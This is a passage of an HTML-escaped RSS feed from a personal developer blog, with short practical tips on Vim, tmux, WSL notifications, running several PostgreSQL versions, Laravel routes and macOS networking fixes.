&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">in_array&lt;/span>($chr, [&lt;span style="color:#e6db74">&amp;#39;pass&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;wchar&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;byte2be&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;byte2le&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;byte4be&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;byte4le&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;BASE64&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;UUENCODE&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;HTML-ENTITIES&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;Quoted-Printable&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;7bit&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;8bit&amp;#39;&lt;/span>])) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">echo&lt;/span> &lt;span style="color:#a6e22e">mb_convert_encoding&lt;/span>($str, &lt;span style="color:#e6db74">&amp;#39;UTF-8&amp;#39;&lt;/span>, $charset) &lt;span style="color:#f92672">.&lt;/span> &lt;span style="color:#e6db74">&amp;#39; ----- &amp;#39;&lt;/span> &lt;span style="color:#f92672">.&lt;/span> $chr &lt;span style="color:#f92672">.&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\n&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>; &lt;span style="color:#ae81ff">2&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Of course it&amp;rsquo;s only applicable if you know that &lt;code>$str&lt;/code> will always be in the charset you found.&lt;/p></description></item><item><title>My Windows development environment setup</title><link>https://codelearn.me/2020/11/23/my-dev-workflow.html</link><pubDate>Mon, 23 Nov 2020 00:00:00 +0000</pubDate><guid>https://codelearn.me/2020/11/23/my-dev-workflow.html</guid><description>&lt;p>The title is a little bit misleading though. I have almost nothing dev related on my Windows machine and use Linux VM instead.&lt;/p>
&lt;p>Here is the components my dev environment consists of:&lt;/p>
&lt;ul>
&lt;li>VMware Workstation (VirtualBox would work too)&lt;/li>
&lt;li>Windows Terminal&lt;/li>
&lt;li>Vim (NeoVim to be precise)&lt;/li>
&lt;li>Tmux and Tmuxinator&lt;/li>
&lt;/ul>
&lt;h2 id="vmware-workstation">VMware Workstation&lt;/h2>
&lt;p>The actual product doesn&amp;rsquo;t matter here. As I mentioned earlier VirtualBox would work as well.
I use VMware because I used to it and I blindly believe in rumors that it is faster than VirtualBox.&lt;/p>
&lt;p>Along with some virtual machines I installed out of curiosity there is my main virtual machine configured.
I call it &lt;strong>Workstation&lt;/strong> and I store there everything work/personal projects/this blog related.&lt;/p>
&lt;p>The workstation is driven by &lt;strong>Ubuntu Server&lt;/strong> with no Xorg installed. Whenever I need to run graphical Linux app I use VcXsrv.&lt;/p>
&lt;p>One more thing worth to mention is that network in the workstation is configured with NAT
so I always know IP address of the VM regardless the network my laptop is connected to.
Even if my laptop has no internet connection I still can connect to my VM with no issues and can keep working.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vm.png">&lt;img alt="vm screenshot" src="https://codelearn.me/assets/img/vm.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>The VM is always in such state because I connect to it with SSH
so I keep it in a separate virtual screen and if I need to suspend or wake it up I just do
a &amp;ldquo;four finger swipe&amp;rdquo; to switch to the screen with only VMware running.&lt;/p>
&lt;p>&lt;strong>Why not WSL1/2&lt;/strong>&lt;/p>
&lt;p>I love WSL. I also like how WSL team switched to VM approach for their WSL2.
WSL just doesn&amp;rsquo;t fit my workflow. I like to fire up the VM, work and suspend it so I can wake it up again when needed in a second
and continue from exactly that state I stopped in.&lt;/p>
&lt;p>To stop WSL I literally need to stop all the main process like Nginx, Postgres, Tmux. Tmux main purpose is to be never stopped.&lt;/p>
&lt;p>I don&amp;rsquo;t want to keep WSL&amp;rsquo;s VM running all the time.&lt;/p>
&lt;p>So, even though I like the idea of WSL I can&amp;rsquo;t use it.&lt;/p>
&lt;h2 id="windows-terminal">Windows Terminal&lt;/h2>
&lt;p>The reason I use it is I haven&amp;rsquo;t found anything better. It&amp;rsquo;s pretty lightweight, quick and configurable.&lt;/p>
&lt;p>It has some issues with default configuration (CTRL+C copies text instead of process termination), Alt+Backspace doesn&amp;rsquo;t remove a word (at least by default)
and some other small issues that can be fixed.&lt;/p>
&lt;p>UI is super configurable too. I was able to remove tabs and scrollbar to make UI clean.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/windows-terminal.png">&lt;img alt="windows terminal screenshot" src="https://codelearn.me/assets/img/windows-terminal.png" width="600px"/>&lt;/a>&lt;/p>
&lt;h2 id="vimneovim">Vim/NeoVim&lt;/h2>
&lt;p>I tried lots of editors and I constantly switch from one to another but Vim is definitely the one I spent most of the time in directly or implicitly
(evil-mode in Emacs, VsCodeVim, Vintage in Sublime, IdeaVim in IDEs from JetBrains).&lt;/p>
&lt;p>I&amp;rsquo;m very much used to it and to its keybindings.&lt;/p>
&lt;p>You can find my vimrc &lt;a target="_blank" href="https://gist.github.com/KryDos/24484288f4b80a4d60c4135b62f2ee84">HERE&lt;/a>&lt;/p>
&lt;p>It also plays nicely with Tmux.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vim.png">&lt;img alt="vim screenshot" src="https://codelearn.me/assets/img/vim.png" width="600px"/>&lt;/a>&lt;/p>
&lt;h2 id="tmux">Tmux&lt;/h2>
&lt;p>A window manager for my terminal.&lt;/p>
&lt;ul>
&lt;li>I run one session per project&lt;/li>
&lt;li>Most of my sessions have 3 windows
&lt;ul>
&lt;li>bg - first window is for background jobs like npm watch, artisan serve, rails server&lt;/li>
&lt;li>vim - I code here&lt;/li>
&lt;li>cmd - a window I use to run some git commands or read logs or install missing libraries.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I use panes occasionally when I need to start two background jobs for example.&lt;/li>
&lt;/ul>
&lt;p>I use Tmuxinator for every project I have.
In case I had to restart my VM I can execute &lt;code>tmuxinator project-name&lt;/code> and I automatically get
a new session with 3 windows created and Vim window focused with all background jobs required by the project running.&lt;/p>
&lt;p>&lt;strong>So why do I need Windows at all if all my coding stuff are in Linux.&lt;/strong>&lt;/p>
&lt;p>Shortly - I like how Windows work.&lt;/p>
&lt;ul>
&lt;li>I like how any device connected to my laptop is recognized and don&amp;rsquo;t require additional attention and configuration.&lt;/li>
&lt;li>I got much more Kernel Panics and frozen X servers in Linux than I got BSODs in Windows.&lt;/li>
&lt;li>I need Excel sometimes (LibreOffice is far behind).&lt;/li>
&lt;/ul></description></item><item><title>Laravel: get all routes and corresponding controllers/actions</title><link>https://codelearn.me/2019/11/19/laravel-get-all-routes.html</link><pubDate>Tue, 19 Nov 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/11/19/laravel-get-all-routes.html</guid><description>&lt;p>If you want to know the handler of a particular route you need to run this in your terminal:&lt;/p>
&lt;pre tabindex="0">&lt;code>php artisan route:list | grep &amp;#39;route.name&amp;#39;
&lt;/code>&lt;/pre>&lt;p>Replace &lt;code>route.name&lt;/code> with your route name.&lt;/p>
&lt;p>In most cases all routes are defined in files from &lt;code>routes/*&lt;/code> folder but some routes are defined in Laravel itself or some libraries may define its own routes as well.
So in case you want to override some actions from internal controllers just use that command above to understand what exactly you need to override.&lt;/p></description></item><item><title>Run multiple PostgreSQL instances on one machine</title><link>https://codelearn.me/2019/10/26/multiple-postgres-instances.html</link><pubDate>Sat, 26 Oct 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/10/26/multiple-postgres-instances.html</guid><description>&lt;p>I&amp;rsquo;m on Ubuntu 18.04 having PostgreSQL 10.10 installed.
For testing I had to run PostgreSQL 9.5 along with 10.10.&lt;/p>
&lt;h1 id="installation">Installation&lt;/h1>
&lt;p>If you don&amp;rsquo;t know how to install version 9 on Ubuntu 18.04 check &lt;a href="https://www.postgresql.org/download/linux/ubuntu/">this doc on postgres site&lt;/a>.&lt;/p>
&lt;p>To install version 9.5 just run:&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo apt install postgresql-9.5
&lt;/code>&lt;/pre>&lt;p>That&amp;rsquo;s it. You should not face any other issues.&lt;/p>
&lt;h1 id="usage">Usage&lt;/h1>
&lt;p>I&amp;rsquo;ve been always starting postgres instance with &lt;code>sudo service postgresql start&lt;/code> but now,
when we have two different version we should use:&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo systemctl start postgresql@9.5-main
&lt;/code>&lt;/pre>&lt;p>The &lt;code>9.5-main&lt;/code> at the end is the cluster name. Cluster is something we always have per database version. You can find all the clusters you have on your machine with:&lt;/p>
&lt;pre tabindex="0">&lt;code>pg_lsclusters
&lt;/code>&lt;/pre>&lt;p>The output looks like this:&lt;/p>
&lt;pre tabindex="0">&lt;code>Ver Cluster Port Status Owner Data directory Log file
9.5 main 5432 online postgres /var/lib/postgresql/9.5/main /var/log/postgresql/postgresql-9.5-main.log
10 main 5432 down postgres /var/lib/postgresql/10/main /var/log/postgresql/postgresql-10-main.log
&lt;/code>&lt;/pre>&lt;p>You can see that right now I have 9.5 running and 10 down.&lt;/p>
&lt;p>To run version 10 again just stop the 9.5 instance and run &lt;code>sudo systemctl start postgresql@10-main&lt;/code>&lt;/p>
&lt;p>If you want to run both instances simultaneously then you have to edit &lt;code>postgresql.conf&lt;/code> of your version
(every version&amp;rsquo;s config file is in its own directory under &lt;code>/etc/postgresql&lt;/code>) and set another port to listen in one of your versions.&lt;/p></description></item><item><title>Vim save file without AutoCmd</title><link>https://codelearn.me/2019/08/08/vim-save-without-autocmd.html</link><pubDate>Thu, 08 Aug 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/08/08/vim-save-without-autocmd.html</guid><description>&lt;p>Vim&amp;rsquo;s &lt;strong>autocmd&lt;/strong> is very powerful feature.&lt;/p>
&lt;p>In my workflow I have many of them including &lt;strong>autocmd&lt;/strong> for &lt;strong>BufWrite&lt;/strong>.&lt;/p>
&lt;p>There are rare cases when I want to save file and ignore any &lt;strong>autocmd&lt;/strong>.&lt;/p>
&lt;p>To do this you can just save it by:&lt;/p>
&lt;pre tabindex="0">&lt;code>:noa w
&lt;/code>&lt;/pre>&lt;p>Of course there can be any command after &lt;code>:noa&lt;/code>.&lt;/p>
&lt;p>Check &lt;code>:h noa&lt;/code> for more details.&lt;/p></description></item><item><title>Open Tmux on ssh login</title><link>https://codelearn.me/2019/06/24/tmux-autopen-on-ssh-login.html</link><pubDate>Mon, 24 Jun 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/06/24/tmux-autopen-on-ssh-login.html</guid><description>&lt;p>Here is few lines you need to add to your .bashrc/.zshrc/.whatevershellrc:&lt;/p>
&lt;pre tabindex="0">&lt;code>if [[ -z &amp;#34;$TMUX&amp;#34; ]] &amp;amp;&amp;amp; [ &amp;#34;$SSH_CONNECTION&amp;#34; != &amp;#34;&amp;#34; ]; then
 tmux attach-session -t mysession || tmux new-session -s mysession
fi
&lt;/code>&lt;/pre>&lt;p>These lines check if tmux session &lt;code>mysession&lt;/code> is exist then we &lt;code>tmux attach-session&lt;/code>
is executed. Otherwise new session with &lt;code>mysession&lt;/code> name is created.&lt;/p>
&lt;p>Replace &lt;code>mysession&lt;/code> to something more meaningful.&lt;/p></description></item><item><title>How to interview [memo]</title><link>https://codelearn.me/2019/06/12/how-to-interview.html</link><pubDate>Wed, 12 Jun 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/06/12/how-to-interview.html</guid><description>&lt;p>Just met this nice article by Laurie Voss called &lt;code>You suck at technical interviews&lt;/code>.&lt;/p>
&lt;p>Here is TL;DR from there:&lt;/p>
&lt;ul>
&lt;li>many interview techniques test skills that are at best irrelevant to real working life&lt;/li>
&lt;li>you want somebody who knows enough to do the job right now&lt;/li>
&lt;li>or somebody smart and motivated enough that they can learn the job quickly&lt;/li>
&lt;li>you want somebody who keeps getting better at what they do&lt;/li>
&lt;li>your interview should be a collaborative conversation, not a combative interrogation&lt;/li>
&lt;li>you also want somebody who you will enjoy working with&lt;/li>
&lt;li>it&amp;rsquo;s important to separate &amp;ldquo;enjoy working with&amp;rdquo; from &amp;ldquo;enjoy hanging out with&amp;rdquo;&lt;/li>
&lt;li>don&amp;rsquo;t hire assholes, no matter how good they are&lt;/li>
&lt;li>if your team isn&amp;rsquo;t diverse, your team is worse than it needed to be&lt;/li>
&lt;li>accept that hiring takes a really long time and is really, really hard&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="http://seldo.com/weblog/2014/08/26/you_suck_at_technical_interviews">Here is the link to original post&lt;/a>&lt;/p>
&lt;p>Good read.&lt;/p></description></item><item><title>Youtube Hide opinion for Google Chrome</title><link>https://codelearn.me/2019/05/26/youtube-ho-for-chrome.html</link><pubDate>Sun, 26 May 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/05/26/youtube-ho-for-chrome.html</guid><description>&lt;p>Today I decided to port my &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/youtube-hide-opinion/">Firefox extension&lt;/a> to Google Chrome.&lt;/p>
&lt;p>Meet &lt;a href="https://chrome.google.com/webstore/detail/youtube-hide-opinion/kmagnigdjocidngajmobbifcngjoejkm">Youtube Hide Opinion For Chrome&lt;/a>.&lt;/p>
&lt;p>Turned out, I should change nothing in the extension to make it
working in Google Chrome (thanks to &lt;a href="https://browserext.github.io/browserext/">Browser Extensions specification&lt;/a>)&lt;/p>
&lt;p>Now to kill the good feeling I have to say that to publish
the extension to WebStore I had to make $5 one-time payment.
Pretty symbolic payment but still feels foreign while publishing open source code.&lt;/p></description></item><item><title>Youtube Hide opinion</title><link>https://codelearn.me/2019/05/19/youtube-hide-opinion.html</link><pubDate>Sun, 19 May 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/05/19/youtube-hide-opinion.html</guid><description>&lt;p>Watching videos on Youtube I&amp;rsquo;ve noticed I influenced a lot by paying
attention to a video rating.
For example if rating is negative I initially treat a video as unprofessional or even stupid.&lt;/p>
&lt;p>I tried to ignore a video rating but it&amp;rsquo;s pretty hard so I decided to build a browser extension that should hide the rating.&lt;/p>
&lt;p>So meet &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/youtube-hide-opinion/">Youtube hide Opinion&lt;/a>
the Firefox extension.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/hide-opinion1.png">&lt;img alt="fun first" src="https://codelearn.me/assets/img/hide-opinion1.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>As you can see you still can up/down vote a video but you don&amp;rsquo;t see it&amp;rsquo;s rating.&lt;/p>
&lt;p>The extension also supports &lt;strong>Enhancer for YouTube&lt;/strong>.&lt;/p>
&lt;p>P.S.
Some time ago I also published this extension to &lt;a href="https://chrome.google.com/webstore/detail/youtube-hide-opinion/kmagnigdjocidngajmobbifcngjoejkm">Google&amp;rsquo;s WebStore&lt;/a>&lt;/p></description></item><item><title>git grep --untracked</title><link>https://codelearn.me/2019/04/03/git-grep-untracked.html</link><pubDate>Wed, 03 Apr 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/04/03/git-grep-untracked.html</guid><description>&lt;p>Turned out I use &lt;code>git grep&lt;/code> a lot with my VIM (using &lt;a href="https://github.com/dkprice/vim-easygrep/issues">EasyGrep&lt;/a>
plugin). At some point this plugin just stopped to show me all the available results.&lt;/p>
&lt;p>Due to lack of explicit &lt;code>git grep&lt;/code> usage it was pretty mysterious.&lt;/p>
&lt;p>The reason is that &lt;code>git grep&lt;/code> doesn&amp;rsquo;t search in untracked files.
If you want to search in untracked files too just add &lt;code>--untracked&lt;/code> option to the command like this:&lt;/p>
&lt;pre tabindex="0">&lt;code>git grep --untracked SomethingILookingFor *
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://git-scm.com/docs/git-grep">Official git grep doc&lt;/a>&lt;/p></description></item><item><title>MacOS fix not stable WiFi (ping spikes)</title><link>https://codelearn.me/2019/01/31/macos-wifi-spikes.html</link><pubDate>Thu, 31 Jan 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/01/31/macos-wifi-spikes.html</guid><description>&lt;p>hey,&lt;/p>
&lt;p>I currently use Windows machine but I do programming inside Linux virtual machine and
inside MacOS driven laptop (some iOS specific stuff) which is in the same room where I am and connected to the local network.&lt;/p>
&lt;p>Since I develop in Vim I use SSH connection to run Vim instance directly on MacOS machine.
If I need anything graphical (like Xcode) I use VNC client.&lt;/p>
&lt;h2 id="issue">Issue&lt;/h2>
&lt;p>SSH connection is super non-stable. It&amp;rsquo;s pretty painful to use Vim with very slow connection. If I try to ping my MacOS laptop
I can see clearly some ping spikes. Usual ICMP travel time is about 3ms but sometimes I get 700ms or 1000ms. Insane.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>Based on &lt;a href="https://symless.com/forums/topic/5902-workaround-macos-wifi-ping-spikes/">this found&lt;/a>
it is probably related to WiFi card power saving features.&lt;/p>
&lt;p>To prevent it you can use this command (inside MacOS machine)&lt;/p>
&lt;pre tabindex="0">&lt;code>ping -q -n -s 0 -i 0.1 192.168.0.1 # you can ping any (real) address basically
&lt;/code>&lt;/pre>&lt;p>What this ping command does is just keeping your WiFi card busy all the time.&lt;/p>
&lt;p>Please note, you have to keep this command running all the time. You can probably create some kind of background script
but I just use alias which I run when I&amp;rsquo;m connected to my Mac. Otherwise I don&amp;rsquo;t want to overload my home network.&lt;/p></description></item><item><title>VNC, MacOS, and frozen login screen</title><link>https://codelearn.me/2019/01/18/restart-loginscreen-vnc-mac.html</link><pubDate>Fri, 18 Jan 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/01/18/restart-loginscreen-vnc-mac.html</guid><description>&lt;p>Sometimes my VNC client just shows me Mac&amp;rsquo;s login screen with infinitely
loading animation. If it happens for you too, you can try to login via SSH and run this command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo pkill loginwindow
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you can try to connect trough VNC and it should work.&lt;/p>
&lt;p>Basically it just kills the process of login window and MacOS just runs it again automatically.&lt;/p></description></item><item><title>Reminders with WSL</title><link>https://codelearn.me/2019/01/14/reminders-with-wsl.html</link><pubDate>Mon, 14 Jan 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/01/14/reminders-with-wsl.html</guid><description>&lt;p>Hi everyone,&lt;/p>
&lt;p>I was looking for an app that should allow me to set a quick reminder
without any additional functionality.&lt;/p>
&lt;p>The one was found, it is &lt;code>at&lt;/code> binary which is available by default on most (if not all) Linux
distributions (checkout &lt;code>man at&lt;/code>).
Shortly, the &lt;code>at&lt;/code> command allows you to specify a command and time you want to run that command at.&lt;/p>
&lt;h1 id="my-current-setup">My current setup&lt;/h1>
&lt;p>What I want, is to get a notification at some special time.
For notifications we can use &lt;code>notify-send&lt;/code>,
but since I&amp;rsquo;m currently on Windows and use WSL, we will use my &lt;code>wsl-notify&lt;/code> script
(checkout for &lt;a href="https://codelearn.me/2019/01/13/wsl-windows-toast.html">notify-send replacement for WSL&lt;/a> post)&lt;/p>
&lt;h1 id="complete-remind-script">Complete remind script&lt;/h1>
&lt;p>I&amp;rsquo;ve added a function to my zshrc and called it &lt;code>remind&lt;/code>.&lt;/p>
&lt;p>Here is its code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>remind&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;/path/to/wsl-notify \&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">\&amp;#34;&amp;#34;&lt;/span> | at &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The usage is next:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ remind &lt;span style="color:#e6db74">&amp;#39;call mom&amp;#39;&lt;/span> &lt;span style="color:#e6db74">&amp;#39;1:00pm&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And at 1:00pm I will get the native windows notification which I can even snooze. Brilliant.&lt;/p></description></item><item><title>notify-send replacement for WSL</title><link>https://codelearn.me/2019/01/13/wsl-windows-toast.html</link><pubDate>Sun, 13 Jan 2019 00:00:00 +0000</pubDate><guid>https://codelearn.me/2019/01/13/wsl-windows-toast.html</guid><description>&lt;p>Hi,&lt;/p>
&lt;p>Unfortunately there is no way currently to make brilliant &lt;code>notify-send&lt;/code> work on WSL.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>The workaround is to install &lt;a href="https://github.com/Windos/BurntToast">BurntToast&lt;/a> which is
&lt;code>powershell&lt;/code> module (or command) that allows you to show native notifications.
After it&amp;rsquo;s installed we can write a script that can execute PowerShell &amp;ldquo;cmdlet&amp;rdquo; from within WSL.&lt;/p>
&lt;h2 id="details">Details&lt;/h2>
&lt;p>So when &lt;strong>BurntToast&lt;/strong> is installed let&amp;rsquo;s create a super simple bash script (name it like &lt;code>wsl-notify&lt;/code>)&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/env -bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>powershell.exe &lt;span style="color:#e6db74">&amp;#34;New-BurntToastNotification -Text \&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">\&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Give our &lt;code>wsl-notify&lt;/code> execution rights (with &lt;code>chmod +x wsl-notify&lt;/code>) and move it to &lt;code>/usr/bin&lt;/code> folder with &lt;code>mv wsl-notify /usr/bin/&lt;/code>&lt;/p>
&lt;p>That&amp;rsquo;s it, now we can call &lt;code>wsl-notify 'The Notification Text'&lt;/code> and we will get native notification in Windows.
Make sure to wrap all the text into single or double quotes to make all the text to be considered as a first argument to our &lt;code>wsl-notify&lt;/code> script.&lt;/p>
&lt;h2 id="troubleshooting">Troubleshooting&lt;/h2>
&lt;p>When &lt;strong>BurntToast&lt;/strong> is installed you have to make sure it works, just fire up your PowerShell and type &lt;code>New-BurntToastNotification&lt;/code>.&lt;/p>
&lt;p>If you see error saying something about import module, then you have to import the module.
Just type &lt;code>Import-Module BurntToast&lt;/code>.&lt;/p>
&lt;p>In case you&amp;rsquo;ve got error during the import process,
it&amp;rsquo;s probably because third-party scripts execution is not allowed on your system
which can be fix with this command:&lt;/p>
&lt;p>&lt;code>Set-ExecutionPolicy RemoteSigned -Scope CurrentUser&lt;/code> - (checkout more about it &lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-6">here&lt;/a>)&lt;/p></description></item><item><title>React Native. Turn off warnings</title><link>https://codelearn.me/2018/12/21/react-native-turn-off-warnings.html</link><pubDate>Fri, 21 Dec 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/12/21/react-native-turn-off-warnings.html</guid><description>&lt;p>Sometimes it&amp;rsquo;s annoying to get those warnings while you work on the layout stuff.&lt;/p>
&lt;p>Based on &lt;a href="https://facebook.github.io/react-native/docs/debugging.html#warnings">RN documentation&lt;/a> you can turn them off by setting:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">disableYellowBox&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can put it inside your App.js file. I don&amp;rsquo;t suggest you to commit this but as temporary string is definitely acceptable.&lt;/p></description></item><item><title>Vim, format JSON file</title><link>https://codelearn.me/2018/12/19/vim-format-json.html</link><pubDate>Wed, 19 Dec 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/12/19/vim-format-json.html</guid><description>&lt;p>I have to note it, it&amp;rsquo;s just brilliant!&lt;/p>
&lt;p>If you want to format a JSON file opened in Vim then just run&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-vim" data-lang="vim">&lt;span style="display:flex;">&lt;span>: %!&lt;span style="color:#a6e22e">python&lt;/span> -&lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#a6e22e">json&lt;/span>.&lt;span style="color:#a6e22e">tool&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Stolen from this awesome post - &lt;a href="https://blog.realnitro.be/2010/12/20/format-json-in-vim-using-pythons-jsontool-module/">Format JSON in Vim using Python&amp;rsquo;s json.tool module&lt;/a>&lt;/p></description></item><item><title>Tmux. Change default start directory</title><link>https://codelearn.me/2018/12/14/tmux-change-default-start-dir.html</link><pubDate>Fri, 14 Dec 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/12/14/tmux-change-default-start-dir.html</guid><description>&lt;p>Hi,&lt;/p>
&lt;p>if you use tmux you could notice that every time you create new window
it starts in the directory where you initiated your Tmux session.&lt;/p>
&lt;p>Usually I start my Tmux at home directory but when I work for a project
I like to have all my windows to be opened in this particular project.&lt;/p>
&lt;p>Sure I can close the session and start the new one from the project directory but&amp;hellip; no.&lt;/p>
&lt;p>The way you can do it from withing Tmux is press your &lt;code>&amp;lt;prefix&amp;gt;+:&lt;/code> to open the command mode.&lt;/p>
&lt;p>Now enter &lt;code>attach -c &amp;lt;your-default-start-directory&amp;gt;&lt;/code>.
That&amp;rsquo;s all.&lt;/p>
&lt;p>It works outside of Tmux as well. You can run it this way &lt;code>tmux attach-session -t &amp;lt;you session&amp;gt; -c &amp;lt;your-default-start-directory&amp;gt;&lt;/code>.&lt;/p></description></item><item><title>Vim folding</title><link>https://codelearn.me/2018/12/09/vim-folding.html</link><pubDate>Sun, 09 Dec 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/12/09/vim-folding.html</guid><description>&lt;p>Hi,
I didn&amp;rsquo;t use folding functionality previously at all in any other editors,
but after I watched &lt;a href="https://www.youtube.com/watch?v=oqYQ7IeDs0E">this awesome video&lt;/a> by Greg Hurrell
I found this Vim feature super useful.&lt;/p>
&lt;p>So to start getting all benefits from Vim folding just add this to your &lt;code>.vimrc&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-vim" data-lang="vim">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">set&lt;/span> &lt;span style="color:#a6e22e">foldmethod&lt;/span>=&lt;span style="color:#a6e22e">indent&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">set&lt;/span> &lt;span style="color:#a6e22e">foldlevelstart&lt;/span>=&lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What these lines do is:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;code>set foldmethod&lt;/code> - setting the folding method. &lt;code>indent&lt;/code> is actually works mostly for all programming
languages. There are other options though (see &lt;code>:h fold-methods&lt;/code>)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>set foldlevelstart=1&lt;/code> - this is magic line. It kind of force you to use foldings. Using this line
your files will be folded by default and you have to unfold functions/methods you want to look at.
